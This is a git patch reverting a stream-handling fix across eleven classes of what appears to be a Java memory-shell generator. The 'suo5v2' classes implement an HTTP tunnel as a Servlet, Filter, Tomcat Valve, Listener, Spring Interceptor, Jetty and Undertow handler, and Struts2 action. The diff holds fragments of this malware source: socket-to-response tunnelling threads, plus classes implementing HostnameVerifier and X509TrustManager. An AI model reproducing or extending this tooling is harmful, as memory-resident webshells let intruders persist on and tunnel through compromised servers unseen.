From d9205aaff7256e9197d58bc8fb201fcf8c2f44c9 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 14 Dec 2025 19:25:26 +0800 Subject: [PATCH] Revert "fix: close respOutputStream in finally" This reverts commit 25e4086241b1336c2115850e7ab3ed346fd65451. --- .../javaweb/memshell/shelltool/suo5v2/Suo5v2.java | 14 +++++++------- .../shelltool/suo5v2/Suo5v2ControllerHandler.java | 12 +++++------- .../memshell/shelltool/suo5v2/Suo5v2Filter.java | 12 ++++-------- .../shelltool/suo5v2/Suo5v2Interceptor.java | 13 ++++++------- .../shelltool/suo5v2/Suo5v2JettyCustomizer.java | 12 +++++------- .../shelltool/suo5v2/Suo5v2JettyHandler.java | 12 +++++------- .../memshell/shelltool/suo5v2/Suo5v2Listener.java | 12 +++++------- .../memshell/shelltool/suo5v2/Suo5v2Servlet.java | 12 +++++------- .../shelltool/suo5v2/Suo5v2Struct2Action.java | 12 +++++------- .../suo5v2/Suo5v2UndertowServletHandler.java | 12 +++++------- .../memshell/shelltool/suo5v2/Suo5v2Valve.java | 12 +++++------- 11 files changed, 57 insertions(+), 78 deletions(-) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java index e34011b1..8f1791af 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java @@ -346,10 +346,10 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager { Thread t = null; boolean sendClose = true; - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -381,26 +381,26 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager { } } catch (Exception ignored) { } finally { + try { socket.close(); } catch (Exception ignored) { } + if (sendClose) { writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); } - try { - respOutputStream.close(); - } catch (Exception ignored) { - } if (t != null) { t.join(); } + } } private void processHalfStream(Object req, Object resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { boolean newThread = false; boolean sendClose = true; + try { byte action = ((byte[]) dataMap.get("ac"))[0]; switch (action) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java index de169de6..6fa3eb28 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java @@ -324,10 +324,10 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe Thread t = null; boolean sendClose = true; - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = resp.getOutputStream(); try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); Suo5v2ControllerHandler p = new Suo5v2ControllerHandler(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -359,17 +359,15 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe } } catch (Exception ignored) { } finally { + try { socket.close(); } catch (Exception ignored) { } + if (sendClose) { writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); } - try { - respOutputStream.close(); - } catch (Exception ignored) { - } if (t != null) { t.join(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java index e87ac51b..e22d9111 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java @@ -329,10 +329,10 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru Thread t = null; boolean sendClose = true; - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = resp.getOutputStream(); try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); Suo5v2Filter p = new Suo5v2Filter(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -365,18 +365,14 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru } catch (Exception ignored) { } finally { - try { socket.close(); } catch (Exception ignored) { } + if (sendClose) { writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); } - try { - respOutputStream.close(); - } catch (Exception ignored) { - } if (t != null) { t.join(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java index c64caad9..7361ca41 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java @@ -341,10 +341,10 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos Thread t = null; boolean sendClose = true; - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = resp.getOutputStream(); try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); Suo5v2Interceptor p = new Suo5v2Interceptor(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -376,20 +376,19 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos } } catch (Exception ignored) { } finally { + try { socket.close(); } catch (Exception ignored) { } + if (sendClose) { writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); } - try { - respOutputStream.close(); - } catch (Exception ignored) { - } if (t != null) { t.join(); } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyCustomizer.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyCustomizer.java index 16138292..0067c18f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyCustomizer.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyCustomizer.java @@ -379,10 +379,10 @@ public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runn Thread t = null; boolean sendClose = true; - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); Suo5v2JettyCustomizer p = new Suo5v2JettyCustomizer(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -414,17 +414,15 @@ public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runn } } catch (Exception ignored) { } finally { + try { socket.close(); } catch (Exception ignored) { } + if (sendClose) { writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); } - try { - respOutputStream.close(); - } catch (Exception ignored) { - } if (t != null) { t.join(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java index 876690cc..da3cdb79 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java @@ -340,10 +340,10 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust Thread t = null; boolean sendClose = true; - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); Suo5v2JettyHandler p = new Suo5v2JettyHandler(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -375,17 +375,15 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust } } catch (Exception ignored) { } finally { + try { socket.close(); } catch (Exception ignored) { } + if (sendClose) { writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); } - try { - respOutputStream.close(); - } catch (Exception ignored) { - } if (t != null) { t.join(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java index 15478e7f..b1607882 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java @@ -335,10 +335,10 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam Thread t = null; boolean sendClose = true; - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = resp.getOutputStream(); try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); Suo5v2Listener p = new Suo5v2Listener(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -370,17 +370,15 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam } } catch (Exception ignored) { } finally { + try { socket.close(); } catch (Exception ignored) { } + if (sendClose) { writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); } - try { - respOutputStream.close(); - } catch (Exception ignored) { - } if (t != null) { t.join(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java index 22a073fe..9ae026b7 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java @@ -323,10 +323,10 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T Thread t = null; boolean sendClose = true; - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = resp.getOutputStream(); try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); Suo5v2Servlet p = new Suo5v2Servlet(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -358,17 +358,15 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T } } catch (Exception ignored) { } finally { + try { socket.close(); } catch (Exception ignored) { } + if (sendClose) { writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); } - try { - respOutputStream.close(); - } catch (Exception ignored) { - } if (t != null) { t.join(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java index 2003596e..eb03a380 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java @@ -326,10 +326,10 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus Thread t = null; boolean sendClose = true; - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = resp.getOutputStream(); try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); Suo5v2Struct2Action p = new Suo5v2Struct2Action(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -361,17 +361,15 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus } } catch (Exception ignored) { } finally { + try { socket.close(); } catch (Exception ignored) { } + if (sendClose) { writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); } - try { - respOutputStream.close(); - } catch (Exception ignored) { - } if (t != null) { t.join(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java index a28d0174..b3b5fede 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java @@ -326,10 +326,10 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier, Thread t = null; boolean sendClose = true; - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); Suo5v2UndertowServletHandler p = new Suo5v2UndertowServletHandler(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -361,17 +361,15 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier, } } catch (Exception ignored) { } finally { + try { socket.close(); } catch (Exception ignored) { } + if (sendClose) { writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); } - try { - respOutputStream.close(); - } catch (Exception ignored) { - } if (t != null) { t.join(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java index 3176cc4b..45b492d8 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java @@ -329,10 +329,10 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust Thread t = null; boolean sendClose = true; - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = resp.getOutputStream(); try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); Suo5v2Valve p = new Suo5v2Valve(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -364,17 +364,15 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust } } catch (Exception ignored) { } finally { + try { socket.close(); } catch (Exception ignored) { } + if (sendClose) { writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); } - try { - respOutputStream.close(); - } catch (Exception ignored) { - } if (t != null) { t.join(); }